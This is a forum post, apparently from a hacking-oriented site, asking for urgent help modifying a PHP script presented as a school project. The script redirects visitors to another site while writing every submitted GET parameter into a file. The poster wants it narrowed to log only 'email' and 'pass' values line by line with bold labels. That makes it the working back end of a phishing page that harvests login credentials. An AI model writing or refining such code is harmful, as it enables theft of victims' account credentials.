PHP - Need this code adjusted fast! 10-18-2012, 08:00 PM
#1
Hay.
I need a lil help here with php code, here it goes.
I need this code:
To be adjusted to do the following
-To only accept the variables : "email" and "pass" and their "value"
-one line - one pair -> pair of "email:$value" and ext line -> same for "pass:"$value" and next line
-Bold the "email" and "pass"
It's a project given by my school teacher, just i can't get it working so i had to post it here...
This means much to me![Smile Smile](https://sinister.ly/images/smilies/set/smile.png)
Thank you
I need a lil help here with php code, here it goes.
I need this code:
PHP Code:
<?php
header ('Location: http://www.website.com');
$handle = fopen("text.html", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
To be adjusted to do the following
-To only accept the variables : "email" and "pass" and their "value"
-one line - one pair -> pair of "email:$value" and ext line -> same for "pass:"$value" and next line
-Bold the "email" and "pass"
It's a project given by my school teacher, just i can't get it working so i had to post it here...
This means much to me
![Smile Smile](https://sinister.ly/images/smilies/set/smile.png)
Thank you
![Smile Smile](https://sinister.ly/images/smilies/set/smile.png)